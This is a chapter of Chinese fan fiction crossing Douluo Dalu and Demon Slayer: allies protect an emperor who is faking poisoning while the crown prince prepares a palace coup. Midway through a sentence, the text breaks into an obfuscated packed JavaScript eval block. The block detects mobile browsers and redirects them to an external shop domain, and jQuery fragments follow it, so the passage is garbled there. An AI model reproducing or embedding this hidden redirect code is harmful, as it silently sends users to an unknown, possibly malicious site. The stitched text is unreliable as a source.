做完这一切的宁风致几人,如同来时一样,悄无声息地融入了阴影之中,沿着另一条更为隐秘的路径离开了皇宫。
当东方天际泛起第一抹极淡的、几乎难以察觉的鱼肚白时,五人已安然返回七宝琉璃宗山门之内。
莲与童磨并未入睡,一直留在静室中等待。
当感知到那几道熟悉而强大的气息平安归来时,两人几乎同时起身。
静室的门被无声推开,宁风致当先走入,脸上带着一丝长途奔袭与精神高度紧绷后的疲惫,但眼神依旧清明锐利。尘心与古榕如同影子般跟在他身后。杨无敌与独孤博最后进入,杨无敌的脸色依旧沉郁,但比之在皇宫密室时,已平复了许多,只是眼中那抹深刻的寒意挥之不去。
“舅舅。”莲迎上前,目光迅速扫过众人,确认无人受伤,心底微松,“一切顺利?”
“嗯。”宁风致点了点头,在桌旁坐下,接过莲适时递上的温茶,抿了一口,舒缓了一下干涩的喉咙,“陛下体内原有的混毒,已由杨前辈和独孤前辈联手根除。陛下也已服下童磨准备的‘药’。”
他言简意赅,但蕴含的信息量巨大。
童磨的眼睛立刻亮了起来,彩眸闪烁着兴奋的光:“哦?陛下服下了?感觉怎么样?有没有什么特别的反应?我那可是精心调配的,保证表象逼真,内在温和~”
宁风致看了他一眼,有些无奈,但还是答道:“陛下服用后略有不适,但很快压制下去,目前无碍。” 他顿了顿,看向杨无敌,语气变得沉重,“只是……解毒过程中,杨前辈确认,陛下所中之毒的核心成分之一,正是破之一族秘传的‘万紫千红毒’。”
听到这个消息,只有莲微微惊讶了一瞬,童磨则很惊喜的合掌,“真是让我猜对了呢,武魂殿抓到了杨无双什么的。”
杨无敌冷哼一声,没有说话,但紧握的拳头表明了他的心绪。
“杨前辈,此事之后,醉月楼与七宝琉璃宗,必将倾力助您查明您弟弟下落。”莲看向杨无敌,声音诚恳而坚定。
杨无敌看了他一眼,缓缓点了点头,哑声道:“有劳。”
宁风致放下茶杯,神色肃然,开始布置接下来的任务:“接下来的三日,是关键。陛下毒发之前,我们必须做好一切准备。”
“第一,严密监控皇宫内外,尤其是雪清河一切动向。香香已经带着醉月楼和敏之一族的精锐,布下天罗地网,任何风吹草动都必须第一时间回报。”
“第二,宗内进入最高警戒。剑叔、骨叔,宗门各处防御,就拜托二位了。所有弟子取消外出,核心区域许进不许出。”
“第三,杨前辈,独孤前辈,需暂时隐匿于宗内,可随时应对突发状况,也可以避免二位被太子眼线察觉。”
“第四,”他看向莲和童磨,“莲儿、童磨,你们二人,是此次计划的关键变数。太子一旦行动,很可能会动用武魂殿潜伏的力量,甚至可能亲自出手。你们的任务是,潜伏于暗处,随时准备支援皇宫,或在必要时,直接针对太子及其党羽。记住,首要目标是保护陛下安全,并在确保证据确凿的情况下,配合陛下揭露太子真面目。若事不可为……以保全自身为重。”
莲郑重点头:“明白。”
童磨笑嘻嘻地道:“放心吧舅舅,抓老鼠和看戏,我最拿手了~”
宁风致又详细叮嘱了一些细节和联络方式,待一切安排妥当,窗外天色已蒙蒙亮。淡青色的天光透过窗棂,洒入室内,却驱不散众人心头的凝重。
杨无敌和独孤博在专人引领下,前往七宝琉璃宗深处隐匿。尘心和古榕也各自离去,开始巡视布防。
静室内,只剩下宁风致、莲和童磨。
宁风致揉了揉眉心,脸上露出些许疲惫,但看着眼前两个已然能独当一面的孩子,眼中又流露出欣慰与复杂。“去休息一下吧,养足精神。风暴……很快就要来了。”
莲和童磨应声退出静室。
走在清晨静谧的宗门回廊上,远处隐约传来弟子晨练的呼喝声,一切似乎与往常并无不同。但莲和童磨都知道,这只是暴风雨前最后的宁静。
第一日,平静中透着压抑。
雪清河依旧每日晨昏定省,前往雪夜寝殿“侍疾”。
他的面容上写满了恰到好处的忧戚、焦急与疲惫,询问太医时语气温和而急切,对待宫人赏罚分明,处理朝政时虽因“忧心父皇”而偶有疏漏,但大体稳重,赢得了不少朝臣暗中赞许。
然而,每一次从雪夜寝殿出来,他眼底深处那一闪而逝的、难以掩饰的锐利与审视,以及回到书房内那长久不熄的灯火,都透露出其内心的不平静。
太医们的诊断依旧含糊其辞,只说是“邪毒入体,伤及本源,情况不稳,需精心调养,切忌惊扰”。
但私下里,几位被“格外关切”过的太医,传递出的消息却越来越不容乐观——“陛下脉象时有时无,气血衰竭之象渐显”、“偶尔有咯血之症,血色暗沉”、“精神日渐萎靡,清醒之时愈短”。
宁风致与几位重臣依旧按时入宫探视,出来后皆是面色沉重,摇头叹息,对太子的询问也多是宽慰之语,但眼神中的忧虑做不得假。
七宝琉璃宗表面一切如常,山门紧闭,谢绝访客,仿佛沉浸在宗主忧心陛下的沉重氛围中。
第二日,波澜微起。
清晨,雪夜寝殿内突然传出一阵剧烈的咳嗽声与侍从惊慌的低呼,虽很快被压制下去,但“陛下咳血,昏迷片刻”的消息,还是如同长了翅膀般,以某种隐秘的渠道,迅速传入了雪清河的耳朵里。
雪清河闻讯,“惊怒交加”,当场斥责了太医署,并亲自守候在雪夜寝殿外一个时辰,直到里面传来陛下暂时平稳的消息,才“忧心忡忡”地返回处理政务,但其下令加强宫禁守卫、特别是雪夜寝殿周围警戒的指令,却迅速而高效地得到了执行。
一些原本驻扎在皇宫外围、隶属城防军或皇家禁卫中较为边缘的部队,被以“加强陛下安保”的名义,悄然调动到了更核心的位置。这些部队的将领,大多是在太子近年提拔或施恩过的。
宁风致入宫时,脸色比前一日更加难看,甚至在与几位同样忧心忡忡的老臣私下交谈时,隐约流露出一丝对太子“过于急切调动兵马可能惊扰圣驾”的隐忧,但旋即又叹息“太子也是一片孝心,忧思过度”,并未深究。
七宝琉璃宗内,莲和童磨通过白沉香及醉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911937|184794||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月楼渠道,密切关注着这一切变动。
“莲酱~我们的‘好大哥’,好像有点……坐不住了呢。调兵遣将,是准备‘护驾’呢,还是准备……做点别的?”他歪着头,看向正在根据最新情报调整模拟推演的莲。
莲的七彩眼瞳中数据流飞快闪过,他面前摊开着一张复杂的天斗城防图与宫内布局简图,上面已经被他用魂力标记了多处红点。
“她在试探,也在布局。调动这些兵马,既能以‘保护陛下’之名掌控更多宫内武力,为可能的‘突发状况’做准备;也能借此观察父皇旧臣与几位实权亲王的反应。同时,这些调动本身,就是一种施压和宣告——她在展示自己对皇宫、至少是部分皇宫武力的掌控力。”
他指向图中几处新标注的红点:“看这里,还有这里,她调入的部队,恰好能对雪星亲王在宫内的几处暗线形成隐约的钳制。这不是巧合。”
“啧啧,真是心思缜密,步步为营。”童磨舔了舔嘴唇,“可惜呀,她算准了父皇‘病重’无力阻止,算准了宁舅舅他们‘投鼠忌器’,却算不到……父皇是装的,我们的人,也已经就位。”
第三日,风暴前夕的窒息。
从清晨开始,雪夜寝殿内传出的消息就一个比一个糟糕。
“陛下清晨再次咳血,血色发黑,伴有轻微痉挛。”
“陛下意识模糊,已无法清晰辨认近侍。”
“太医联合诊脉后,私下断言,若今夜能熬过,或有一线生机,若不然……恐就在旦夕之间。”
整个皇宫的气氛压抑到了极点,宫人们行走间都踮着脚尖,不敢高声语。
然而,雪清河的书房内,气氛却截然不同。
“消息确认了?”雪清河的声音清冷悦耳,却带着不容置疑的威严。
他面前站着数位气息沉凝、眼神锐利的黑衣人,这些人身上散发着强大魂力。
“确认无误。”为首一名黑衣人沉声道,“雪夜寝殿内传出的所有病情变化,均与混毒的晚期症状吻合。宁风致今日入宫后,在殿外停留不足一刻钟便面色灰败地离开,显然已束手无策。七宝琉璃宗山门依旧紧闭,未有异动。我们的人一直监视着杨无敌的闭关处与破之一族动向,无异样。至于那两个白发小子……云罗城传回最后确认,他们重伤遁入深山后,再无线索,结合其伤势,生存概率低于一成。”
雪清河微微颔首,唇角勾起一抹冰冷的弧度。
一切,似乎都在朝着最理想的方向发展。
雪夜毒发将死,最大的威胁七宝琉璃宗似乎无力回天,破之一族被成功离间并监控,那两个意外出现的变数也已被“清除”。朝臣惶惶,军队部分在手……
今夜,便是最佳时机!
“传令下去。”他声音不高,却如同出鞘的利剑,斩断了最后一丝犹豫,“按甲字第三预案执行。子时初刻,以‘宫内有变,护驾勤王’为号,我们的人全面接管皇宫各门与关键要道。其他人随我入雪夜寝殿,送父皇最后一程。同时,控制所有可能产生变数的皇子与亲王府邸,许进不许出。”
“天亮之前,我要让太子雪清河,在群臣拥戴与陛下遗诏中,顺理成章地……继承天斗帝国!”